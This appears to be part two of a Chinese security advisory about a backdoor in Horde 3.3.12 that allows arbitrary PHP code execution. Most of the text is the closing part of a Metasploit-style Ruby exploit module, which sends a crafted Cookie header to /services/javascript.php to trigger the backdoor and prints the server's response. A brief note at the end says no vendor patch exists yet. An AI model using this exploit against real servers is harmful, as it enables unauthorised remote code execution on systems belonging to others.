Horde 3.3.12后门任意PHP代码执行漏洞(2)

res = send_request_cgi({
      'uri'     => uri + "/services/javascript.php",
      'method'  => 'POST',
      'ctype'   => 'application/x-www-form-urlencoded',
      'data'    => "app="+datastore['APP']+"&file=open_calendar.js",
      'headers' =>
      {
        'Cookie' => "href="+function+":"+arguments,
        'Connection' => 'Close',
      }
    }) #default timeout, we don't care about the response

if (res)
      print_status("The server returned: #{res.code} #{res.message}")
    end

resp = res.body.split(key)
    if resp and resp[1]
      print_status(resp[1])
    else
      print_error("No response found")
    end

handler
  end

end

建议：
--------------------------------------------------------------------------------
厂商补丁：

Horde
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：